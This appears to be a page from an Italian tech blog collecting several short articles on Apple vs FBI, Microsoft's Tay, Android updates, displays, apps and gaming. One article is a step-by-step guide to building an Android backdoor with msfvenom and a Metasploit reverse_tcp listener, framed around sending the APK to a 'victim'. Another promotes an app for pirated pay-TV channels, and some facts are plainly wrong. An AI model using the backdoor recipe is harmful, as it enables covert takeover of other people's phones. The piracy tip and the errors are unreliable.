FBI contro Apple: lo scontro rivela un vincitore

Dichiara il dipartimento di giustizia: “Non abbiamo più bisogno di Apple”

FBI contro Apple iphoneVi avevamo già parlato della disputa FBI contro Apple. Oggi, da quanto è stato espresso dal dipartimento di giustizia, l’iPhone 5C del terrorista Syed Rizwan Farook è stato sbloccato. Di conseguenza il governo ha ritirato la causa legale nei confronti di Apple.

FBI contro Apple: una breve sintesi

La diatfbi contro appleriba inizia dopo la strage di San Bernardino. Avvenuto il 2 dicembre 2015 all’Inland Regional Center, lo scontro coinvolge 14 morti e 23 feriti. Dopo aver ritrovato un iPhone 5C di uno dei tiratori, FBI chiede ad Apple di sbloccare il dispositivo attraverso l’utilizzo di una backdoor, dato che il dispositivo era bloccato tramite autenticazione di impronte e codice di sblocco.

Sarebbe inammissibile per il Governo obbligarci a creare una backdoor. Siamo spaventati che questa richiesta possa minacciare la libertà dei cittadini.

Tim Cook è stato restio nei loro confronti utilizzando come pretesto la privacy dei loro utenti per non accedervi all’interno. Come si sa, iOS è (o stato) uno dei sistemi più protetti al mondo.

Perfino Google, Facebook e Twitter sono stati di parte, condividendo appieno le motivazioni promosse dall’azienda produttrice di iPhone.

Però, vista la non partecipazione da parte dell’azienda di Cupertino allo sblocco del dispositivo, il governo chiede aiuto ad una società israeliana.

La svolta: FBI scavalca Apple, come finirà?

Sembrava tutto rose e fiori dopo l’ultimo evento, dove sono stati presentati nuovi dispositivi. Dopo un periodo di felicità, Apple fa un passo indietro per il suo tanto stimato sistema di sicurezza offerto ai suoi utenti.

La notizia è stata data alcune ore fa dal dipartimento di giustizia:

Il governo e’ riuscito ad accedere con successo ai dati contenuti dell’iPhone di Farook per questo non ha più bisogno dell’assistenza di Apple

Ma la battaglia legale, però, sembra non essere cessata. Come già si era stabilito  agli inizi, in caso si fosse trovato il modo per entrare all’interno del dispositivo, bisognava segnalarlo ad Apple in qualunque circostanza.

Apple e FBI, la situazione si ribalta

Sembra essere la giustizia americana ad avere in pugno la società ora come ora, avendo a disposizione un metodo per entrare dentro i dispositivi.

fbi contro appleVerrà resa nota la procedura utilizzata? Sarà difficile, soprattutto dopo tutto quello che è successo prima.

Tim Cook teme per la privacy dei loro utenti, cosa succederà ora che il governo ha ottenuto ciò che si era proposto tempo fa? Alla fine, secondo quanto riportato da un’indagine, è ciò che noi volevamo.

Come creare una BackDoor per Android con Linux

Come creare una BackDoor
per Android con Linux

Oggi andremo a vedere come creare una BackDoor per Android con Linux in pochi e semplici passi.

Come creare una BackDoor per Android con LinuxMolte persone per controllare un dispositivo Android da remoto usa il noto Tool “AndroRat”. Ma siccome a noi di Tebigeek non piace la la “Pappa pronta” andremo a vedere come crearci il nostro RAT con qualsiasi distribuzione Linux!

Questa guida ricordiamo che è solo a scopo illustrativo per testare i vostri dispositivi e non per infettare altri. Tebigeek non si assume nessuna responsabilità dell’uso che ne farete.

Requisiti:

Una distribuzione Linux (BackBox, Kali, Parrot ecc…)
Framework Metasploit (Già presente nelle distribuzioni Linux dedicate ai Pen Test, come Kali Linux)
Un dispositivo Android

In questa guida userò BackBox.

Step 1: Creare il Payload!

Apriamo il terminale su BackBox
Utilizziamo Metasploit per creare l’exploit

msfvenom -p  android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1604 R >
 /home/the_boss_/Scrivania/Hack.apk

Screen 1

Una volta eseguito il comando avremo un file Hack.apk da inviare alla vittima per infettarla.

Step 2: Impostazioni Connessione

Adesso bisogna predisporre la nostra macchina ad una connessione di tipo reverse_tcp con questi comandi:

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

A questo punto inseriamo i parametri associati al nostro scenario, con questi comandi in fila:

set lhost 192.168.1.6 –> Indirizzo IP dell'attaccante
set lport 1604 –> porta su cui ascoltare per connessione in entrata (assicurarsi
che la porta sia aperta)
exploit –> Avviamo l'ascolto in attesa di connessioni in entrata

Screen 2

 

 

 

 

Quando installeremo l’APK sul dispositivo nel terminale vedremo la connessione in ascolto.

 

Arrivati a questo punto siete riusciti ad infettare la vostra vittima, vi consiglio di provare solo in locale su dispositivi di vostra proprietà per evitare eventuali problemi, anche perchè io e Tebigeek non ci assumiamo nessuna responsabilità come vi ho già detto all’inizio.

Intelligenza artificiale su Twitter? Il suo nome è Tay

Microsoft sviluppa Tay, l’adolescente artificiale che vi risponde su Twitter

tay intelligenza artificialeChi è che non si ricorda di Cleverbot? Quest’applicazione di intelligenza artificiale è famosa per la capacità di intrattenere gli utenti con conversazioni a trecentosessanta gradi.

Il gruppo di tecnologia e ricerca di Microsoft in collaborazione con il Team di Bing, ha creato un chat bot molto simile, capace di rispondervi e dialogare con gli utenti. L’intelligenza artificiale di Microsoft è stata progettata per avere discussioni con tutte le persone del mondo, che vanno dall’età di 18 fino ai 24 anni.

Disponibile su numerosi portali tra cui: GroupMe, Kik e Twitter.

Il web impazzisce per Tay su Twitter

Per iniziare ad intraprendere una discorso con Tay, basta menzionarla in un tweet sul suo profilo ufficiale. Numerose sono le funzioni di questo strumento: raccontare delle barzellette, postare delle immagini, mostrare il proprio oroscopo, raccontare una storia e tanto altro ancora.

In poco tempo l’intelligenza artificiale di Microsoft, è riuscita a “far cinguettare” sulla piattaforma sociale di Twitter il suo chat bot, raggiungendo grandi numeri.

I computer danno esattamente quello che gli è stato immesso; se futilità immettiamo, futilità otterremo, ma gli uomini non sono molto diversi. (Richard Bandler)

Siccome il servizio è disponibile per tutti, qualcuno potrebbe utilizzare questo mezzo in modo improprio. Si spera che vengano fatti passi avanti per promuovere la segnalazione di comportamenti inopportuni.

Tay collabora con Cortana: l’intelligenza artificiale che ha bisogno di essere educata

Nell’atto pratico Tay non ha alcun fine nei futuri progetti Microsoft. Infatti il suo scopo è quello di migliorare l’assistente vocale della casa di Gates, ovvero Cortana. Numerose sono le critiche verso di essa, siccome molti considerano nulle le finalità pratiche di questo strumento. Questa intelligenza artificiale, quindi, ha il compito di educarla per riuscire a farle avviare conversazioni con i suoi utilizzatori, oppure in un futuro, impiegarla all’interno di centralini per richiedere assistenza agli utenti.

Tay diventa razzista: dopo neanche 24 ore il chat bot chiude per aggiornamenti

tay intelligenza artificiale razzista

Come avevo già premunito anticipatamente, gli utenti hanno costretto Microsoft a chiudere il servizio. Siccome il chat bot imparava dai suoi utilizzatori come comportarsi, molti hanno insegnato frasi poco appropriate a Tay.

In poche ore l’intelligenza artificiale di Microsoft è diventata nazista, sostenitrice di Hitler ed ariana. Il team ha prontamente rilasciato un’intervista a Business Insider, dove ha spiegato che:

“Nelle prime 24 ore dalla messa in linea, siamo venuti a conoscenza di alcuni abusi da parti degli utenti. Per questo motivo abbiamo deciso di metterlo offline per provvedere ad alcuni aggiornamenti.

Google Data Center: un tour a 360°

L’espansione dei video a 360° sta coinvolgendo le maggiori aziende informatiche del mondo, tanto da produrre videocamere capaci di girare video di questo tipo. A partire da Facebook, che introdusse tempo fa questi tipi di filmati sulla sua piattaforma, arriviamo all’azienda di Mountain View, che portò la novità su Youtube. Oggi visiteremo uno dei Google Data Center collocato a Dallas, nell’Oregon.

Google Data Center: una meta per pochi prescelti

Il giro tugoogle data center securityristico viene brevemente esposto da Sandeep, un developer advocate della piattaforma Cloud.

La prima parte è dedicata alla sicurezza e ai metodi di accesso all’interno della struttura. Pochi sono i fortunati che possono entrare all’interno del CED, in quanto sappiamo che dentro di essi vi sono milioni di dati sensibili sotto forma di codice binario.

Error 404: Data Center not found

L’attenzione viene posta ora alle problematiche e alle soluzioni affrontate nel caso si riscontri un problema fra le macchine presenti all’interno dei Google Data Center. Come ho accennato poco fa, le informazioni contenute dentro di esse sono molto riservate, quindi i tecnici non possono permettersi un attimo di distrazione. Basti pensare che aziende come Coca-Cola o Apple hanno affidato nelle loro mani i nostri dati alla piattaforma di Cloud Google.

Dati (quasi) più veloci della luce

dataLe server farm contenute all’interno di questi CED sono sottoposte ogni giorno ad uno sforzo del tutto inumano. Infatti, come spiega un’ingegnere nel campo delle reti, queste macchine sono soggette ad un alto throughput pari a molti petabyte. Gli hard drive che vengono messi fuori uso vengono smantellati o riciclati in un’apposita sezione.

Google e ambiente: ecco come ti salvo il pianeta

Nell’esecuzione di queste procedure, Google vanta di utilizzare energie rinnovabili per la produzione di elettricità.

Per saperne di più visita la pagina dedicata a queste problematiche.

Per saperne di più sui Data Center di Google, consulta questa pagina.

Per avere maggiori informazioni riguardo al Cloud vai qui.

Quanto costa produrre un display AMOLED?

L’uso dei display AMOLED è stato incentivato nel tempo, in quanto molti smartphone hanno deciso di applicare questa tecnologia all’interno dei loro display. Ma secondo IHS Technology, una compagnia statunitense incentrata nel mondo del business e marketing, c’era da aspettarselo. Infatti nel primo trimestre di quest’anno, la produzione di un singolo display aveva il costo di ben 14.30€ rispetto ad uno LCD, con un valore leggermente maggiore di 14.60€.

Quale differenza c’è tra un display AMOLED ed uno IPS LCD?

display amoled lcd

IPS

La tecnologia IPS è ancora ampiamente utilizzata all’interno di numerosi smartphone top di gamma (come ad esempio iPhone), dato che vanta di un’ ampio angolo di visione. I colori tendono ad essere molto più naturali, ma a causa della sua retroilluminazione, si hanno contrasti meno definiti. Il massimo pregio di questi display è dovuto al basso consumo energetico e all’eccellente performance avuta in presenza di luce.

AMOLED
display lcd amoled

Display resi famosi per la grande capacità di ottenere dei neri assoluti ed un ottimo risparmio energetico in presenza di temi scuri. I colori risultano essere molto più profondi, ma meno naturali. Con il passare degli anni sono stati creati schermi molto più definiti, dove Samsung è stata uno dei primi utilizzatori dei display AMOLED.

LCD VS AMOLED: l’eterna lottà senza vincitori

L’anno precedente già si sono avuti i primi segni forti di una decrescita sul costo di un singolo display, facendo scendere il prezzo di un AMOLED a 15.70$ rispetto ad uno schermo LCD di 17.10$. Visto su ampie cifre, il costo complessivo di produzione potrebbe influenzare la scelta delle aziende telefoniche, scegliendo di conseguenza di produrre smartphone con display AMOLED. La scelta su cosa comprare sta al consumatore. Prediligendo i primi diamo spazio alla naturalità dei colori, che però a lungo andare può creare danni alla vista. Invece scegliendo la nuova alternativa si può non solo usufruire dei nuovi schermi Super Amoled, ma anche avere una riproduzione fedele del colore nero.

Purtroppo non esiste una risposta assoluta, ma possiamo garantirvi che in futuro il reparto della telefonia avrà con sé molte sorprese.

Fonte: Android Authority

Android Marshmallow per Galaxy S5 prossimo in Italia

Android Marshmallow cos’è?

In questi ultimi mesi è uscita una nuova release di Android successiva a Android 5.0/5.1 Lollipop, Android 6.0 denominato Marshmallow. Questa nuova versione del robottino verde inizialmente doveva essere un minor update di Lollipop, ovvero Android 5.2. Ma dopo un po, questo rumor è stato smentito visto che Lollipop era troppo instabile, e così è stato deciso da Google di creare una nuova realese di Android, appunto Android Marshmallow. Questa nuova release è stata distribuita inizialmente sui Dispositivi di Google, i Nexus, come Developer Preview e in seguito come build ufficiale. Quando è stata rilasciata la versione stabile di 6.0, la compagnia di Mountain View ha rilasciato questa nuova versione alle case produttrici come Samsung, Motorola, Sony, LG, Xiaomi, Meizu, e altri produttori di smartphone. Al momento, al centro dell’attenzione di tutti, c’è il roll out dell’aggiornamento di Android Marshmallow per Galaxy S5 iniziato proprio in questi giorni in Corea.

android-6-0marshmallow-teaser

Quali dispositivi sono stati già aggiornati e chi verrà aggiornato da parte di Samsung?

Gli aggiornamenti dei dispositivi Galaxy da parte di Samsung non sono mai puntuali, cosa che invece avviene in altre case produttrici di Smartphone come LG o Motorola. Stranamente ci sono già dispositivi aggiornati ad Android 6.0:

  • Samsung Galaxy S6
  • Samsung Galaxy S6 Edge
  • Samsung Galaxy Note 4
  • Samsung Galaxy Note Edge
  • Samsung Galaxy Alpha
  • Samsung Galaxy S5/S5 LTE-A
  • Samsung Galaxy S5 Neo
  • Samsung Galaxy Tab A

In questi mesi non tutti questi dispositivi sono stati aggiornati a Marshmallow, come ad esempio Note 4, Note Edge , Galaxy Alpha, S5 LTE-A, Tab A. Quindi solo 2 dispositivi, ovvero i “vecchi” top di gamma, S6 e S6 Edge sono stati aggiornati in tutti gli stati ad Android Marshmallow. Invece Android Marshmallow per Galaxy S5 è già pronto in casa Samsung, infatti il roll-out

Oltre a questi dispositivi ci sono anche i nuovi top di gamma che in partenza, ovvero quando sono stati lanciati in commercio, sono già aggiornati ad Android Marshmallow sempre da Samsung:

  • Samsung Galaxy S6 Edge Plus
  • Samsung Galaxy Note 5
  • Samsung Galaxy S7 
  • Samsung Galaxy S7 Edge
S6 Marshmallow Beta Screenshot

S6 Marshmallow Beta Screenshot

Android Marshmallow per Galaxy S5 quando in Italia?

L’update di Android Marshmallow per Galaxy S5 in Italia è molto vicina, perchè una build di 6.0 Touchwiz ufficiale per S5 è gia uscita in Corea del Nord, stato natale della casa produttrice Samsung. Esso , come per S4 l’anno scorso a Lollipop 5.0.1, è stato molto discusso perchè la Samsung aveva sbagliato una paio di volte a rilasciare involontariamente la nuova versione di android. Questa build è disponibile solo per una variante del Galaxy S5 avente come codice modello: SM-G900F. La versione di Android è 6.0, e essa è possibile installarla su qualsiasi S5 che non sia sudcoreano, ma anche italiano o tedesco e via dicendo, quindi il CSC; ma basta che abbia come codice modello appunto  SM-G900F. Nel web ci sono già guide su come installarla, anche se non sono ancora disponibili i permessi di root e una custom recovery, come TWRP o CWM, purtroppo lo sviluppatore della Philz Touch ha lasciato lo sviluppo.

Samsung-Galaxy-S5-Marshmallow-w782

Da come possiamo notare negli Screenshot, la nuova interfaccia è sempre quella del Galaxy S5, ovvero il launcher, Sistem UI, ed altre app di sistema; quello che viene messo in risalto subito invece sono le icone dell applicazioni, ovvero in stile Note 5. Dallo screenshot delle impostazioni possiamo notare che sono presenti anche gli aggiornamenti di sicurezza, presenti già da molto tempo sui Nexus e anche nelle custom rom Cyanogenmod e  custom rom derivanti da essa.

 

SKY e Mediaset Premium gratis!

Sul web è presente un nuovo metodo per fruire dei principali canali criptati di SKY e Mediaset Premium Gratis. Nulla al momento si sa sulla legalità di questo metodo ma certo è che usufruire di servizi di terzi gratuitamente che altrimenti andrebbero pagati o pagati a società non associate ai fornitori di tali servizi non è tanto regolare…

Sebbene oggi c’è chi preferisce la buona e vecchia TV digitale terrestre, fruibile gratuitamente tramite il proprio televisore, molti altri non si accontentano e preferiscono avere a disposizione un vero e proprio arsenale di servizi televisivi anche a pagamento mediante canoni e abbonamenti come i conosciutissimi SKY e Mediaset Premium.

SKY e Mediaset Premium GRATIS

SKY e Mediaset Premium gratis

Ma… non sempre c’è chi vuole pagare per usufruire di questo “arsenale”, così i pirati hanno istituito un vero e proprio servizio di ridistribuzione di questi servizi modificando opportunamente le apparecchiature fornite dai gestori e facendo pagare anche un canone veramente molto economico in confronto a ciò che ci si ritrova ad avere; unica pecca, è tutto illegale!

Ma grazie ad una App, purtroppo non più scaricabile da Google Play, abbiamo a nostra disposizione la lista dei canali accessibili e quindi sarà sufficiente usare il link nella scheda delle istruzioni per scaricare MXTV Player per visualizzare i video.
L’App si chiama Canali TV italiana SKY e non richiede particolari dispositivi per essere installata. Basta infatti un qualsiasi display e minSdkVersion 11.
In oltre si può usare il pratico plug-in MXTV Cast per trasferire il contenuto visualizzato sul proprio computer e guardarlo comodamente dal proprio divano.

Questa App aveva un costo veramente irrisorio sul Play Store. Fortunatamente oggi può essere ancora prelevata gratuitamente dallo store non ufficiale Aptoide.

Non sappiamo per quanto ancora l’App funzionerà sui nostri dispositivi.
In tal caso notificheremo e cercheremo un altro sistema pratico allo stesso modo!

Slidejoy: L’app che ti paga per sbloccare lo schermo

Sbloccare lo schermo non è mai stato così proficuo

Non c’è trucco e non c’è inganno! Slidejoy, l’applicazione sviluppata da un team di hacker, è disposta a versare il primo giorno di ogni mese un pagamento, semplicemente per sbloccare lo schermo del vostro telefono.

sbloccare-lo-schermo-slidejoy

Come funziona SlideJoy?

Massimizzare il guadagno

Il programma offre alla sua utenza una lockscreen priva di pubblicità invasiva, la quale permette di leggere le ultime notizie effettuando uno swipe verso l’altro. Oltre alla possibilità di avere dei profitti solamente per sbloccare lo schermo e visionare le notizie, Slidejoy fornisce ai suoi utenti la possibilità di guadagnare un piccolo extra, grazie a dei sondaggi organizzati da alcune aziende.

La moneta utilizzata

L’applicazione fa uso di una moneta virtuale chiamata “carat“. Ognuno di questi equivale ad un centesimo statunitense, che verrà convertito al momento del cashout dal nostro account. I crediti accumulati giornalmente, verranno sommati ai precedenti alle 18 di ogni pomeriggio.

L’ambiente di Slidejoy

L’applicazione è suddivisa in quattro sezioni:

  • Account: troverete dentro di questa le informazioni riguardanti il vostro bilancio, le transizioni e le informazioni sull’utente;
  • Exchange: spazio in cui vengono definiti i crediti prelevabili e i metodi di pagamento. Inoltre si può impostare la modalità Hero, ovvero donare il proprio introito ad un’associazione di beneficenza;
  • Offers: offerte dove Slidejoy da la possibilità di avere ulteriori guadagni sfruttando dei questionari, app download o registrazione su alcuni siti;
  • Feed: vengono resi pubblici gli ultimi trasferimenti e visualizzata la lista dei migliori contributori.

Attenzione: il pagamento di questi crediti avviene solamente su conti verificati PayPal!

Hai ancora dei dubbi?

Ecco alcuni motivi che possono dare termine alle tue insicurezze:

  • Visita il sito ufficiale consultando le varie FAQ
  • Il sistema ha garantito risultati positivi negli ultimi mesi
  • Non ha alcun impatto negativo sulla batteria
  • Consumo minimo del traffico dati
  • Pagamento tramite PayPal

Dove posso trovarla?

L’applicazione è disponibile gratuitamente su sistema Android.

available-googleplay

Apple punta su nuove GPU mobile

Nuove trattative per Apple

Da alcuni giorni si diffonde sul web la voce che Apple sia in trattative con Imagination Technologies per una completa acquisizione delle nuove GPU mobile prodotte , da tempo, da PowerVR su licenza Apple per i SoC A9 e A9X presenti già su alcuni modelli iPhone.

Cosa molto rilevante, in quanto fino ad oggi le schede grafiche Apple hanno dato ottime prestazioni  sui dispositivi ma nel futuro ci si aspetta molto di più.

appletrattative

Quando arriveranno le nuove GPU mobile?

Tuttavia, ancora non si è certi, è da tempo premeditata l’acquisizione da parte di Apple della relativa parte grafica  per i suoi dispositivi, in modo tale da avere un completo approccio con i propri prodotti. Queste trattative segnerebbero così la giusta direzione per il mondo della tecnologia Apple.

Ad esempio, potete notare dall’immagine qui sotto come Apple abbia migliorato le prestazioni grafiche (in modo indicativo) nei suoi modelli di iPad.

Ci aspettiamo dunque un vertiginoso miglioramento nei modelli successivi, qualora la trattativa fosse avvenuta realmente per lo scopo intuito già da tempo.

gpuappletest

Quanto sono affidabili le voci?

Parimenti, nel 2008, accadde la stessa cosa per le CPU con la PA Semi e si ebbe lo sviluppo in house dei processori Apple. Da quel momento infatti abbiamo visto miglioramenti e nuove tecnologie di grande calibro. Un passo molto significativo per una delle più costose mele al mondo.

Un passo simile da parte, influirebbe molto sul mercato in quanto Imagination Technologies vanterebbe di un capitale abbastanza elevato e non ininfluente, quindi la diffusione di questa notizia nel web sta già comportando un grande interesse a riguardo e non sono pochi i dubbi.

Sperando che Apple migliori drasticamente la prestazioni grafiche, tali da rendere realmente competitivi i suoi top di gamma con gli altri produttori, attendiamo una ulteriore conferma o un annuncio ufficiale sul sito apple.com.

 

PC gaming o console : Quale dovrei scegliere?

PC gaming o console? Questa domanda affligge sicuramente la maggior parte dei gamer che vorrebbero scegliere qualcosa di duraturo e conveniente in termini di prezzo, però non riescono a decidere da quale parte stare. Oggi vi illustrerò le differenze, sia le più evidenti che le minime, dei due colossi del Gaming.




Il prezzo 

Sappiamo tutti quale sia il primo passo da affrontare per permettersi un PC da gaming  o  console: il prezzo. Vediamo più nel dettaglio quale delle due è più conveniente.

Se volessimo ovviamente confrontare una consolXbox Oe con un PC di prestazioni medio/alte, dovremmo prendere in considerazione quelle  di ultimissima generazione (Xbox One e Playstation 4). Sia la console Microsoft che quella Sony si aggirano intorno a un prezzo che varia dai 320 ai 400 euro. Prezzo non troppo moderato che fa risentire le tasche degli utenti. Oltre all’acquisto della singola console, dovreste sicuramente acquistare giochi e abbonamenti online per poter sfruttare tutto quello che offre, il che vuol dire 60/70 euro a gioco + 50 euro di abbonamento annuale.

Per un Computer invece i problemi sono altri.

Meglio un PC gaming portatilPC da gaminge o fisso? 

In questo confronto prenderò il PC fisso in considerazione poiché un portatile ha solitamente componenti pre-assemblati, quindi non inciderebbe molto sulla scelta dell’utente. Un computer di prestazioni medio/alte, che possa reggere il confronto con una console, può valere intorno ai 500 euro. Aggiungendo il costo dei giochi che, su siti come G2A, Kinguin o Steam, vengano a costare la metà del normale prezzo ( 30/35 euro) e non c’è nessun costo per abbonamenti online, possiamo subito notare che con il tempo un PC venga a costare sicuramente meno rispetto ad una console.

Comodità o flessibilità?

Come è bello tornare a casa dal lavoro, sdraiarsi sul divano, e giocare alla console rilassati! La console offre sicuramente il massimo del confort che si trasforma in un esperienza soft per un gamer. Questa caratteristica è un punto forte su cui gioca l’acquisto di una console. D’altronde con il tempo la console diventa obsoleta, bisogna cambiarla ogni volta che ne esce una nuova per stare al passo. Un PC gaming non offre la stessa comodità di una console (parlando sempre di un PC fisso) però risulta molto flessibile: ogni qualvolta il possessore voglia aggiornare una parte del computer, basta comprare il singolo componente e sostituirlo, facile no?

Microsoft-Wireless-Desktop-2000-mouse-e-tastiera-senza-filiDualShock-4-640x353








Un altro aspetto che debba risaltare all’occhio del gamer è il controllo totale del gioco. Mouse e tastiera fanno la propria parte in un PC, poter impostare qualsiasi comando o combinazione di tasti (sia sulla tasteria che sul mouse), non è sicuramente una cosa da poco. Niente però può sostituire il buon vecchio joypad che può far diventare molto piacevole la propria esperienza del gaming.

PC gaming o console?

Quindi usando queste caratteristiche dovreste farvi un’ idea generale  se scegliere un pc gaming o console. Spendere qualcosa in più ma avere dalla propria parte confort completo oppure risparmiare anche di poco ma avere il massimo in termini di prestazioni e grafica? Sta a voi scegliere e ricordatevi: tra PC e console ci sarà una rivalità eterna. :P